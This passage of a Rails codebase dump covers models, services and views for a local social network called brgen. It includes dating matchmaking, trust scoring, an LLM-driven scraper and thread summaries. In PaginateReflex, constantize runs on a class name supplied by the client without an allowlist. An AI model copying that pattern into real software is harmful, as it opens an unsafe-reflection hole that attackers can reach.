\"published\").order(published_at: :desc) }\n  scope :trending,  -&gt; { published.order(views_count: :desc) }\n  scope :recent,    -&gt; { published.order(published_at: :desc) }\n\n  def duration_formatted\n    return \"\u2014\" unless duration_seconds\n    h, rem = duration_seconds.divmod(3600)\n    m, s   = rem.divmod(60)\n    h &gt; 0 ? \"%d:%02d:%02d\" % [h, m, s] : \"%d:%02d\" % [m, s]\n  end\nend\n```\n\n## `rails/brgen/app/models/tv/video_note.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Tv\n  class VideoNote &lt; ApplicationRecord\n    self.table_name = \"tv_video_notes\"\n\n    belongs_to :video, class_name: \"Tv::Video\"\n    belongs_to :user\n\n    validates :body, presence: true, length: { maximum: 2_000 }\n    validates :timestamp, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true\n\n    scope :chronological, -&gt; { order(:timestamp, :created_at) }\n    scope :recent, -&gt; { order(created_at: :desc) }\n\n    after_create_commit do\n      broadcast_append_later_to \"tv:video:#{video_id}:notes\"\n    end\n  end\nend\n```\n\n## `rails/brgen/app/models/tv/view_event.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Tv::ViewEvent &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :video, class_name: \"Tv::Video\", foreign_key: :tv_video_id\nend\n```\n\n## `rails/brgen/app/models/typing_indicator.rb`\n```ruby\n# frozen_string_literal: true\n\nclass TypingIndicator &lt; ApplicationRecord\n  belongs_to :conversation\n  belongs_to :user\n\n  scope :active, -&gt; { where(\"expires_at &gt; ?\", Time.now) }\n\n  def self.set!(conversation:, user:)\n    rec = find_or_create_by(conversation:, user:)\n    rec.update!(expires_at: 5.seconds.from_now)\n    Turbo::StreamsChannel.broadcast_replace_to(\n      conversation,\n      target:  \"typing-indicator\",\n      partial: \"typing_indicators/indicator\",\n      locals:  { conversation:, except_user: user }\n    )\n    rec\n  end\nend\n```\n\n## `rails/brgen/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n\n  has_many :account_merges, dependent: :destroy\n  has_many :activity_events, foreign_key: :actor_id, dependent: :nullify\n  has_many :comments, dependent: :destroy\n  has_many :communities\n  has_many :conversation_participants, dependent: :destroy\n  has_many :conversations, through: :conversation_participants\n  has_many :external_identities, dependent: :destroy\n  has_many :identity_assurances, dependent: :destroy\n  has_many :marketplace_favorites, class_name: \"Marketplace::ListingFavorite\", dependent: :destroy\n  has_many :marketplace_listings, class_name: \"Marketplace::Listing\", dependent: :destroy\n  has_many :marketplace_orders, class_name: \"Marketplace::Order\", foreign_key: :buyer_id, dependent: :destroy\n  has_many :marketplace_saved_searches, class_name: \"Marketplace::SavedSearch\", dependent: :destroy\n  has_many :moderation_flags, dependent: :destroy\n  has_many :moderation_reports, dependent: :destroy\n  has_many :notifications, dependent: :destroy\n  has_many :playlist_listens, class_name: \"Playlist::Listen\", dependent: :destroy\n  has_many :playlist_playlists, class_name: \"Playlist::Playlist\", dependent: :destroy\n  has_many :posts, dependent: :destroy\n  has_many :push_subscriptions, dependent: :destroy\n  has_many :reputation_scores, dependent: :destroy\n  has_many :sessions, dependent: :destroy\n  has_many :takeaway_favorite_restaurants, class_name: \"Takeaway::FavoriteRestaurant\", dependent: :destroy\n  has_many :takeaway_orders, class_name: \"Takeaway::Order\", dependent: :destroy\n  has_many :takeaway_restaurants, class_name: \"Takeaway::Restaurant\", dependent: :destroy\n  has_many :trust_signals, dependent: :destroy\n  has_many :tv_channels, class_name: \"Tv::Channel\", dependent: :destroy\n  has_many :tv_subscriptions, class_name: \"Tv::Subscription\", dependent: :destroy\n  has_many :votes, dependent: :destroy\n\n  has_many :dating_dislikes, class_name: \"Dating::Dislike\", foreign_key: :disliker_id, dependent: :destroy\n  has_many :dating_likes, class_name: \"Dating::Like\", foreign_key: :liker_id, dependent: :destroy\n  has_many :dating_matches_as_initiator, class_name: \"Dating::Match\", foreign_key: :initiator_id, dependent: :destroy\n  has_many :dating_matches_as_receiver, class_name: \"Dating::Match\", foreign_key: :receiver_id, dependent: :destroy\n  has_many :follows_as_followed, class_name: \"Follow\", foreign_key: :followed_id, dependent: :destroy\n  has_many :follows_as_follower, class_name: \"Follow\", foreign_key: :follower_id, dependent: :destroy\n  has_many :followers, through: :follows_as_followed, source: :follower\n  has_many :following, through: :follows_as_follower, source: :followed\n  has_many :subscribed_channels, through: :tv_subscriptions, source: :tv_channel\n\n  has_one :dating_profile, class_name: \"Dating::Profile\", dependent: :destroy\n\n  validates :email_address, presence: true, uniqueness: true\n  validates :username, uniqueness: true, allow_nil: true\n\n  normalizes :email_address, with: -&gt;(email_address) { email_address.strip.downcase }\n\n  EARTH_KM = 6371.0\n\n  def display_name = guest? ? \"anon\" : (username.presence || email_address.split(\"@\").first)\n\n  def self.nearby(lat, lng, radius_km: 2)\n    lat, lng = lat.to_f, lng.to_f\n    d_lat = radius_km / EARTH_KM * (180.0 / Math::PI)\n    d_lng = d_lat / Math.cos(lat * Math::PI / 180.0)\n    candidates = where(latitude: (lat - d_lat)..(lat + d_lat), longitude: (lng - d_lng)..(lng + d_lng))\n                   .where.not(latitude: nil)\n    candidates.select { |u| haversine(lat, lng, u.latitude.to_f, u.longitude.to_f) &lt;= radius_km }\n  end\n\n  def self.haversine(lat1, lng1, lat2, lng2)\n    dlat = (lat2 - lat1) * Math::PI / 180.0\n    dlng = (lng2 - lng1) * Math::PI / 180.0\n    a = Math.sin(dlat / 2)**2 + Math.cos(lat1 * Math::PI / 180.0) * Math.cos(lat2 * Math::PI / 180.0) * Math.sin(dlng / 2)**2\n    EARTH_KM * 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a))\n  end\n\n  def anon_handle = \"Stranger ##{Digest::SHA1.hexdigest(id.to_s)[0, 4].upcase}\"\n\n  def assured?(level)\n    identity_assurances.where(level: level).where(\"expires_at IS NULL OR expires_at &gt; ?\", Time.current).exists?\n  end\n\n  def follow!(other)\n    return if other == self\n\n    follows_as_follower.find_or_create_by!(followed: other)\n  end\n\n  def following?(other) = follows_as_follower.exists?(followed: other)\n\n  def timeline_posts\n    Post.where(user: [self] + following).order(created_at: :desc)\n  end\n\n  def unfollow!(other)\n    follows_as_follower.find_by(followed: other)&amp;.destroy\n  end\n\n  def update_karma!\n    score = Vote.joins(\"JOIN posts ON posts.id = votes.votable_id AND votes.votable_type = 'Post'\")\n                .where(posts: { user_id: id }).sum(:value)\n    score += Vote.joins(\"JOIN comments ON comments.id = votes.votable_id AND votes.votable_type = 'Comment'\")\n                 .where(comments: { user_id: id }).sum(:value)\n    update_column(:karma, score)\n  end\nend\n```\n\n## `rails/brgen/app/models/vote.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Vote &lt; ApplicationRecord\n  belongs_to :user\n  belongs_to :votable, polymorphic: true, touch: true\n\n  validates :value, inclusion: { in: [-1, 1] }\n  validates :user_id, uniqueness: { scope: [:votable_type, :votable_id] }\n\n  after_save    :update_author_karma\n  after_destroy :update_author_karma\n\n  private\n\n  def update_author_karma\n    votable.user.update_karma! if votable.respond_to?(:user)\n  end\nend\n```\n\n## `rails/brgen/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/brgen/app/reflexes/paginate_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\n# Infinite scroll \u2014 insert_adjacent_html before sentinel div.\n# Trigger: data-reflex=\"scroll-&gt;Paginate#load_more\" data-page=\"&lt;%= @page + 1 %&gt;\"\nclass PaginateReflex &lt; ApplicationReflex\n  def load_more\n    page = element.dataset[\"page\"].to_i\n    records = paginate_resource(page)\n    morph :nothing\n    cable_ready\n      .insert_adjacent_html(\n        selector: \"#paginate-sentinel\",\n        position: \"beforebegin\",\n        html: render_records(records)\n      )\n      .broadcast\n  end\n\n  private\n\n  def paginate_resource(page)\n    resource_class.page(page).per(25)\n  end\n\n  def resource_class\n    element.dataset[\"resource\"].constantize\n  end\n\n  def render_records(records)\n    records.map { |r| render(partial: partial_path, locals: { r.model_name.singular.to_sym =&gt; r }) }.join\n  end\n\n  def partial_path\n    element.dataset[\"partial\"] || \"#{resource_class.model_name.plural}/#{resource_class.model_name.singular}\"\n  end\nend\n```\n\n## `rails/brgen/app/reflexes/vote_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\n# Upvote/downvote via selector morph \u2014 updates only the vote widget.\n# Trigger: data-reflex=\"click-&gt;Vote#cast\" data-votable-type=\"Post\" data-votable-id=\"&lt;%= post.id %&gt;\" data-value=\"1\"\nclass VoteReflex &lt; ApplicationReflex\n  VOTABLE_TYPES = %w[Post Comment].freeze\n\n  def cast\n    votable = find_votable\n    value = element.dataset[\"value\"].to_i\n    raise ArgumentError, \"invalid value\" unless value.in?([-1, 1])\n\n    votable.public_send(value == 1 ? :upvote_by : :downvote_by, current_user)\n    morph \"#vote-#{element.dataset['votable-type'].downcase}-#{element.dataset['votable-id']}\",\n          render(partial: \"shared/vote\", locals: { votable: votable })\n  end\n\n  private\n\n  def find_votable\n    type = element.dataset[\"votable-type\"]\n    raise ArgumentError, \"invalid type\" unless VOTABLE_TYPES.include?(type)\n\n    type.constantize.find(element.dataset[\"votable-id\"])\n  end\n\n  def current_user\n    Current.user\n  end\nend\n```\n\n## `rails/brgen/app/services/account_merge_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AccountMergeService\n  def initialize(guest_user:, user:)\n    @guest_user = guest_user\n    @user = user\n  end\n\n  def call\n    return user if guest_user == user\n    return user unless guest_user.guest?\n\n    ActiveRecord::Base.transaction do\n      merge_posts\n      merge_comments\n      merge_conversations\n      merge_trust_signals\n      merge_moderation_flags\n      merge_sessions\n\n      AccountMerge.create!(\n        guest_user: guest_user,\n        user: user,\n        status: \"merged\",\n        merged_at: Time.current\n      )\n\n      guest_user.update!(guest: false)\n    end\n\n    user\n  end\n\n  private\n\n  attr_reader :guest_user, :user\n\n  def merge_comments\n    guest_user.comments.update_all(user_id: user.id)\n  end\n\n  def merge_conversations\n    guest_user.conversation_participants.update_all(user_id: user.id)\n  end\n\n  def merge_moderation_flags\n    guest_user.moderation_flags.update_all(user_id: user.id)\n  end\n\n  def merge_posts\n    guest_user.posts.update_all(user_id: user.id)\n  end\n\n  def merge_sessions\n    guest_user.sessions.update_all(user_id: user.id)\n  end\n\n  def merge_trust_signals\n    guest_user.trust_signals.update_all(user_id: user.id)\n  end\nend\n```\n\n## `rails/brgen/app/services/activity_event_recorder.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ActivityEventRecorder\n  def self.call(actor:, event_name:, object:, source_vertical:, locality: nil, visibility: \"public\", metadata: {})\n    ActivityEvent.create!(\n      actor: actor,\n      event_name: event_name,\n      object_type: object.class.name,\n      object_id: object.id,\n      source_vertical: source_vertical,\n      locality: locality,\n      visibility: visibility,\n      metadata: metadata\n    )\n  end\nend\n```\n\n## `rails/brgen/app/services/dating/matchmaking_service.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Dating\n  class MatchmakingService\n    DEFAULT_RADIUS_KM = 50\n\n    def self.call(user, radius_km: DEFAULT_RADIUS_KM)\n      new(user, radius_km: radius_km).call\n    end\n\n    def initialize(user, radius_km: DEFAULT_RADIUS_KM)\n      @user = user\n      @radius_km = radius_km\n    end\n\n    def call\n      create_mutual_matches\n      potential_matches\n    end\n\n    private\n\n    attr_reader :user, :radius_km\n\n    def profile\n      @profile ||= user.respond_to?(:dating_profile) ? user.dating_profile : Dating::Profile.find_by(user: user)\n    end\n\n    def create_mutual_matches\n      return [] unless profile\n\n      likes_given = Dating::Like.where(liker: user).pluck(:likee_id)\n      likes_received = Dating::Like.where(likee: user).pluck(:liker_id)\n      mutual_ids = likes_given &amp; likes_received\n\n      mutual_ids.filter_map do |other_id|\n        other = User.find_by(id: other_id)\n        next unless other\n\n        Dating::Match.find_or_create_by!(initiator: user, receiver: other) do |match|\n          match.status = \"matched\"\n        end\n      end\n    end\n\n    def potential_matches\n      return Dating::Profile.none unless profile\n\n      excluded_ids = [user.id]\n      excluded_ids += Dating::Like.where(liker: user).pluck(:likee_id)\n      excluded_ids += Dating::Dislike.where(disliker: user).pluck(:dislikee_id)\n\n      scope = Dating::Profile.visible.where.not(user_id: excluded_ids)\n      if profile.neighborhood\n        scope = scope.in_neighborhood(profile.neighborhood)\n      end\n      scope.nearby(profile.latitude, profile.longitude, radius_km).limit(20)\n    end\n  end\nend\n```\n\n## `rails/brgen/app/services/follow_toggle.rb`\n```ruby\n# frozen_string_literal: true\n\nclass FollowToggle\n  def self.call(follower:, followed:)\n    new(follower:, followed:).call\n  end\n\n  def initialize(follower:, followed:)\n    @follower = follower\n    @followed = followed\n  end\n\n  def call\n    return false if follower == followed\n\n    follow = Follow.find_by(follower:, followed:)\n    active = follow.nil?\n    active ? Follow.create!(follower:, followed:) : follow.destroy!\n\n    Shared::EventEmitter.call(\"brgen.follow.toggled\", follower_id: follower.id, followed_id: followed.id, active:) if defined?(Shared::EventEmitter)\n    active\n  end\n\n  private\n\n  attr_reader :follower, :followed\nend\n```\n\n## `rails/brgen/app/services/identity_assurance_service.rb`\n```ruby\n# frozen_string_literal: true\n\nclass IdentityAssuranceService\n  def initialize(user:)\n    @user = user\n  end\n\n  def grant!(level:, source:, expires_at: nil)\n    assurance = user.identity_assurances.find_or_initialize_by(level: level)\n\n    assurance.update!(\n      expires_at: expires_at,\n      source: source,\n      verified_at: Time.current\n    )\n\n    TrustSignal.create!(\n      user: user,\n      kind: \"#{level}_verified\",\n      source: source,\n      weight: default_weight(level)\n    )\n\n    TrustScoreCalculator.new(user: user).call\n\n    assurance\n  end\n\n  private\n\n  attr_reader :user\n\n  def default_weight(level)\n    case level\n    when \"guest\"\n      1\n    when \"account\"\n      5\n    when \"phone\"\n      20\n    when \"bankid\"\n      100\n    when \"merchant\"\n      150\n    when \"moderator\"\n      250\n    else\n      0\n    end\n  end\nend\n```\n\n## `rails/brgen/app/services/reaction_toggle.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReactionToggle\n  def self.call(user:, reactable:, kind: \"like\")\n    new(user:, reactable:, kind:).call\n  end\n\n  def initialize(user:, reactable:, kind:)\n    @user = user\n    @reactable = reactable\n    @kind = kind.to_s.presence || \"like\"\n  end\n\n  def call\n    reaction = Reaction.find_by(user:, reactable:, kind:)\n    if reaction\n      reaction.destroy!\n      changed = false\n    else\n      reaction = Reaction.create!(user:, reactable:, kind:)\n      changed = true\n    end\n\n    Shared::EventEmitter.call(\"brgen.reaction.toggled\", user_id: user.id, target: reactable_gid, kind:, active: changed) if defined?(Shared::EventEmitter)\n    changed\n  end\n\n  private\n\n  attr_reader :user, :reactable, :kind\n\n  def reactable_gid\n    reactable.respond_to?(:to_global_id) ? reactable.to_global_id.to_s : \"#{reactable.class.name}:#{reactable.id}\"\n  end\nend\n```\n\n## `rails/brgen/app/services/scrape.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"ferrum\"\nrequire \"net/http\"\nrequire \"json\"\nrequire \"base64\"\n\nclass Scrape\n  MODEL    = ENV.fetch(\"SCRAPE_MODEL\", \"google/gemini-2.0-flash-001\")\n  ENDPOINT = URI(\"https://openrouter.ai/api/v1/chat/completions\")\n  HTML_MAX = 60_000\n\n  def self.call(url, schema:, hint: nil)\n    browser = Ferrum::Browser.new(headless: true, timeout: 30,\n                                  browser_options: { \"no-sandbox\": nil })\n    browser.go_to(url)\n    browser.network.wait_for_idle(timeout: 10)\n    html = browser.body\n    png  = Base64.strict_encode64(browser.screenshot(encoding: :binary, full: true))\n    browser.quit\n    reason(url:, html:, png:, schema:, hint:)\n  end\n\n  def self.reason(url:, html:, png:, schema:, hint:)\n    prompt = &lt;&lt;~TXT\n      Source: #{url}\n      Extract every listed item on the page as JSON. Use the screenshot to read visual layout (cards, sponsored banners, hidden overlays); use the HTML for exact text and links.\n      #{hint}\n      Reply with one JSON object: {\"items\":[{#{schema.join(', ')}}, ...]}.\n      HTML (truncated to #{HTML_MAX} bytes):\n      #{html.byteslice(0, HTML_MAX)}\n    TXT\n    payload = {\n      model: MODEL,\n      messages: [{\n        role: \"user\",\n        content: [\n          { type: \"text\",      text: prompt },\n          { type: \"image_url\", image_url: { url: \"data:image/png;base64,#{png}\" } }\n        ]\n      }],\n      response_format: { type: \"json_object\" }\n    }\n    req = Net::HTTP::Post.new(ENDPOINT,\n                              \"Content-Type\"  =&gt; \"application/json\",\n                              \"Authorization\" =&gt; \"Bearer #{ENV.fetch('OPENROUTER_API_KEY')}\")\n    req.body = payload.to_json\n    res = Net::HTTP.start(ENDPOINT.hostname, ENDPOINT.port, use_ssl: true, read_timeout: 60) { |h| h.request(req) }\n    JSON.parse(JSON.parse(res.body).dig(\"choices\", 0, \"message\", \"content\")).fetch(\"items\", [])\n  end\nend\n```\n\n## `rails/brgen/app/services/thread_summarizer.rb`\n```ruby\n# frozen_string_literal: true\n\n# ThreadSummarizer \u2014 AI summary of long comment threads via ruby_llm (MASTER-style constitutional prompt).\n# Used for CB07: summaries on threads &gt; LONG_THREAD_THRESHOLD replies.\n# Streaming friendly: can be called with block for chunks if desired.\nclass ThreadSummarizer\n  MODEL = ENV.fetch(\"SUMMARY_MODEL\", \"google/gemini-2.0-flash-001\")\n\n  def self.call(comment, &amp;block)\n    new(comment).call(&amp;block)\n  end\n\n  def initialize(comment)\n    @comment = comment\n  end\n\n  def call(&amp;block)\n    return nil unless @comment.long_thread?\n\n    thread_text = build_thread_text\n\n    prompt = &lt;&lt;~PROMPT\n      You are MASTER, a constitutional AI for a hyperlocal Norwegian city social network (brgen).\n      Summarize the following comment thread in exactly 3 short sentences.\n      Use active voice, concrete details, no hedges, no \"in summary\".\n      Focus on the main points of agreement/disagreement and key local context.\n      Keep under 200 chars total.\n      Thread (root + top replies):\n      #{thread_text}\n    PROMPT\n\n    if block_given?\n      # Streaming path (future: wire to turbo chunks via cable_ready or ws)\n      response = \"\"\n      chat = RubyLLM.chat(model: MODEL)\n      chat.ask(prompt) do |chunk|\n        response &lt;&lt; chunk.content.to_s\n        block.call(chunk.content.to_s) if chunk.content\n      end\n      persist_summary(response)\n      response\n    else\n      chat = RubyLLM.chat(model: MODEL)\n      summary = chat.ask(prompt).content.to_s.strip\n      persist_summary(summary)\n      summary\n    end\n  end\n\n  private\n\n  def build_thread_text\n    root = @comment\n    text = \"ROOT: #{root.content}\\n\"\n    root.replies.best.limit(10).each_with_index do |reply, i|\n      text &lt;&lt; \"REPLY#{i+1}: #{reply.content}\\n\"\n    end\n    text[0, 4000] # truncate for token safety\n  end\n\n  def persist_summary(text)\n    @comment.update!(thread_summary: text, summary_updated_at: Time.current)\n  end\nend\n```\n\n## `rails/brgen/app/services/tradedoubler.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"net/http\"\nrequire \"json\"\n\nmodule Tradedoubler\n  TOKEN   = ENV.fetch(\"TRADEDOUBLER_TOKEN\", \"\")\n  BASE    = \"https://api.tradedoubler.com/1.0\"\n  CACHE_TTL = 3600\n\n  Deal = Data.define(:title, :description, :price, :currency, :image_url, :click_url, :merchant)\n\n  def self.deals(category: nil, limit: 8)\n    return [] if TOKEN.blank?\n    Rails.cache.fetch(cache_key(category), expires_in: CACHE_TTL) do\n      fetch_deals(category:, limit:)\n    end\n  end\n\n  def self.fetch_deals(category:, limit:)\n    params = { token: TOKEN, limit: limit, format: \"json\" }\n    params[:category] = category if category.present?\n    uri = URI(\"#{BASE}/products\")\n    uri.query = URI.encode_www_form(params)\n    res = Net::HTTP.get_response(uri)\n    return [] unless res.is_a?(Net::HTTPSuccess)\n    parse(JSON.parse(res.body))\n  rescue StandardError\n    []\n  end\n\n  def self.parse(body)\n    items = body.dig(\"products\", \"product\") || []\n    Array(items).map do |p|\n      Deal.new(\n        title:       p[\"name\"].to_s,\n        description: p[\"description\"].to_s.truncate(120),\n        price:       p.dig(\"fields\", \"Price\").to_s,\n        currency:    p.dig(\"fields\", \"Currency\").to_s,\n        image_url:   p[\"imageUrl\"].to_s,\n        click_url:   p[\"clickUrl\"].to_s,\n        merchant:    p.dig(\"program\", \"name\").to_s\n      )\n    end\n  end\n\n  def self.cache_key(category)\n    [\"td_deals\", category.to_s].join(\"_\")\n  end\nend\n```\n\n## `rails/brgen/app/services/trust_score_calculator.rb`\n```ruby\n# frozen_string_literal: true\n\nclass TrustScoreCalculator\n  SIGNAL_WEIGHTS = {\n    \"account_created\" =&gt; 5,\n    \"email_verified\" =&gt; 10,\n    \"phone_verified\" =&gt; 20,\n    \"bankid_verified\" =&gt; 100,\n    \"merchant_verified\" =&gt; 150,\n    \"successful_trade\" =&gt; 15,\n    \"post_removed\" =&gt; -20,\n    \"spam_report\" =&gt; -40,\n    \"moderation_ban\" =&gt; -200\n  }.freeze\n\n  def initialize(user:, scope: \"global\")\n    @scope = scope\n    @user = user\n  end\n\n  def call\n    score = user.trust_signals.sum do |signal|\n      SIGNAL_WEIGHTS.fetch(signal.kind, signal.weight)\n    end\n\n    reputation_score = user.reputation_scores.find_or_initialize_by(scope: scope)\n    reputation_score.update!(\n      calculated_at: Time.current,\n      score: score\n    )\n\n    reputation_score\n  end\n\n  private\n\n  attr_reader :scope, :user\nend\n```\n\n## `rails/brgen/app/views/activity_events/index.html.erb`\n```erb\n&lt;% content_for :title, \"Activity\" %&gt;\n\n\n\n  \n\n    \nLocal graph\n    \nActivity\n  \n\n\n\n\n  &lt;% %w[marketplace takeaway dating tv playlist core].each do |vertical| %&gt;\n    &lt;% active = params[:vertical] == vertical %&gt;\n    &lt;%= link_to vertical.humanize, activity_events_path(vertical: vertical), class: \"chip#{\" active\" if active}\", aria: { current: active ? \"page\" : nil } %&gt;\n  &lt;% end %&gt;\n\n\n&lt;% if @events.any? %&gt;\n  &lt;% @events.each do |event| %&gt;\n    \n\n      \n&lt;%= event.event_name.to_s.humanize %&gt;\n      \n&lt;%= event.source_vertical %&gt; \u00b7 &lt;%= event.object_type %&gt; \u00b7 &lt;%= time_ago_in_words(event.created_at) %&gt; ago\n      &lt;% if event.locality.present? %&gt;\n&lt;%= event.locality %&gt;&lt;% end %&gt;\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo activity yet.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/comments/_comment.html.erb`\n```erb\n&lt;%= turbo_frame_tag dom_id(comment) do %&gt;\n\n\n  \n\n    &lt;%= comment.user&amp;.username || \"anon\" %&gt;\n     \u00b7 &lt;%= time_ago_in_words(comment.created_at) %&gt; ago\n    &lt;% if authenticated? %&gt;\n      \u00b7\n      &lt;% root = comment.commentable.is_a?(Post) ? comment.commentable : comment.commentable.commentable %&gt;\n      &lt;%= link_to \"reply\", \"#reply-#{comment.id}\", data: { action: \"click-&gt;reply#toggle\" } %&gt;\n      &lt;% if comment.user == Current.user %&gt;\n        &lt;%= button_to \"delete\", comment, method: :delete, data: { turbo_confirm: \"Delete?\" } %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  \n  \n&lt;%= comment.content %&gt;\n\n  &lt;% if comment.long_thread? %&gt;\n    &lt;% if comment.has_thread_summary? %&gt;\n      \nMASTER sammendrag: &lt;%= comment.thread_summary %&gt;\n    &lt;% elsif authenticated? %&gt;\n      &lt;%= button_to \"Vis AI sammendrag (via MASTER)\", generate_summary_comment_path(comment), method: :post, class: \"btn btn-ghost btn-sm\", data: { turbo: true } %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n  &lt;% if authenticated? %&gt;\n    \n\n      &lt;%= form_with url: post_comments_path(comment.commentable.is_a?(Post) ? comment.commentable : comment.commentable), data: { turbo: true } do |f| %&gt;\n        &lt;%= f.hidden_field :parent_id, value: comment.id %&gt;\n        \n&lt;%= f.text_area :content, placeholder: \"Reply...\", rows: 3 %&gt;\n        \n&lt;%= f.submit \"Reply\" %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n  &lt;% comment.replies.best.each do |reply| %&gt;\n    &lt;%= render \"comments/comment\", comment: reply %&gt;\n  &lt;% end %&gt;\n\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/communities/index.html.erb`\n```erb\n\nCommunities\n&lt;% if authenticated? %&gt;&lt;%= link_to \"+ New\", new_community_path %&gt;&lt;% end %&gt;\n\n&lt;% if @communities.any? %&gt;\n  \n\n    &lt;% @communities.each do |c| %&gt;\n      \n\n        &lt;%= link_to c.name, community_path(c) %&gt;\n        &lt;% if c.description.present? %&gt;\n&lt;%= c.description %&gt;&lt;% end %&gt;\n        &lt;%= c.posts.count %&gt; posts\n      \n    &lt;% end %&gt;\n  \n&lt;% else %&gt;\n  \nNo communities yet. &lt;%= link_to \"Create one\", new_community_path if authenticated? %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/communities/new.html.erb`\n```erb\n\nNew community\n&lt;%= form_with model: @community do |f| %&gt;\n  &lt;% if @community.errors.any? %&gt;\n    \n\n      &lt;% @community.errors.full_messages.each do |msg| %&gt;\n&lt;%= msg %&gt;&lt;% end %&gt;\n    \n  &lt;% end %&gt;\n  \n\n    &lt;%= f.label :name %&gt;\n    &lt;%= f.text_field :name, placeholder: \"e.g. bergen, tech, musikk\" %&gt;\n  \n  \n\n    &lt;%= f.label :description %&gt;\n    &lt;%= f.text_area :description, placeholder: \"What is this community about?\", rows: 3 %&gt;\n  \n  \n\n    &lt;%= f.submit \"Create\" %&gt;\n    &lt;%= link_to \"Cancel\", communities_path %&gt;\n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/communities/show.html.erb`\n```erb\n&lt;% content_for :title, @community.name %&gt;\n\n\n\n  \n&lt;%= @community.name %&gt;\n  &lt;% if @community.description.present? %&gt;\n&lt;%= @community.description %&gt;&lt;% end %&gt;\n  \n&lt;%= @community.posts.count %&gt; posts\n\n\n&lt;% if authenticated? %&gt;\n  \n&lt;%= link_to \"+ New post in #{@community.name}\", new_community_post_path(@community) %&gt;\n&lt;% end %&gt;\n\n&lt;% if @posts.any? %&gt;\n  &lt;% @posts.each do |post| %&gt;\n    &lt;%= render \"posts/post\", post: post %&gt;\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \nNo posts yet in this community.\n&lt;% end %&gt;\n\n\n\n  \nAbout &lt;%= @community.name %&gt;\n  \n&lt;%= @community.description.presence || \"No description.\" %&gt;\n  &lt;% if authenticated? %&gt;\n    \n&lt;%= link_to \"New post\", new_community_post_path(@community) %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/conversations/index.html.erb`\n```erb\n\nMessages\n\n&lt;% if @conversations.any? %&gt;\n  \n\n    &lt;% @conversations.each do |c| %&gt;\n      &lt;% other = (c.participants - [Current.user]).first %&gt;\n      &lt;% last  = c.messages.last %&gt;\n      \n\n        &lt;%= link_to conversation_path(c) do %&gt;\n          &lt;%= other&amp;.display_name || \"anon\" %&gt;\n          &lt;% if last %&gt;\n            &lt;%= truncate(last.content.to_s, length: 80) %&gt;\n            &lt;%= time_ago_in_words(last.created_at) %&gt; ago\n          &lt;% end %&gt;\n          &lt;% unread = c.unread_count_for(Current.user) %&gt;\n          &lt;% if unread.positive? %&gt;&lt;%= unread %&gt;&lt;% end %&gt;\n        &lt;% end %&gt;\n      \n    &lt;% end %&gt;\n  \n&lt;% else %&gt;\n  \nNo conversations yet.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/conversations/show.html.erb`\n```erb\n&lt;%= turbo_stream_from @conversation %&gt;\n&lt;% content_for :body_attrs do %&gt;data-action=\"turbo:load-&gt;push#clearBadge\"&lt;% end %&gt;\n\n&lt;% other = (@conversation.participants - [Current.user]).first %&gt;\n\n\n  \n&lt;%= other&amp;.display_name || \"conversation\" %&gt;\n  &lt;%= link_to \"\u2190 all\", conversations_path %&gt;\n\n\n\n\n  &lt;% @messages.each do |m| %&gt;\n    &lt;%= render \"messages/message\", message: m %&gt;\n  &lt;% end %&gt;\n\n\n\n\n\n&lt;%= form_with model: @message, url: conversation_messages_path(@conversation),\n              id: \"new_message\",\n              data: { turbo: true, controller: \"typing-input\", typing_input_url_value: conversation_typing_indicators_path(@conversation) } do |f| %&gt;\n  \n&lt;%= f.text_area :content, rows: 3, placeholder: \"Send a message...\", data: { action: \"input-&gt;typing-input#ping\" } %&gt;\n  &lt;%= f.hidden_field :message_type, value: \"text\" %&gt;\n  \n&lt;%= f.submit \"Send\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/dating/home/index.html.erb`\n```erb\n&lt;% content_for :title, \"Dating\" %&gt;\n\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nBrgen Dating\n      \nMeet people in your city. Swipe, match, message \u2014 city by city across Europe and beyond.\n      \n\n        swipe to like\n        city + radius filter\n        mutual match\n        direct messages\n      \n      \ntap anywhere to browse \u00b7 &lt;%= link_to \"sign in\", new_session_path, style: \"color:inherit\" %&gt; to match\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  \n\n    \nLocal discovery\n    \nDiscover\n  \n  \n\n    &lt;%= link_to \"Matches\", dating_matches_path, class: \"btn btn-ghost\" %&gt;\n    &lt;% if authenticated? %&gt;&lt;%= link_to \"Edit profile\", edit_dating_profile_path, class: \"btn btn-ghost\" %&gt;&lt;% end %&gt;\n  \n\n\n\n\n  &lt;% @profiles.each do |profile| %&gt;\n    \n\n      &lt;% if profile.photos.attached? %&gt;\n        &lt;%= image_tag profile.photos.first, style: \"width:100%;max-height:420px;object-fit:cover;border-radius:2px;margin-bottom:12px\" %&gt;\n      &lt;% else %&gt;\n        \n\n          &lt;%= 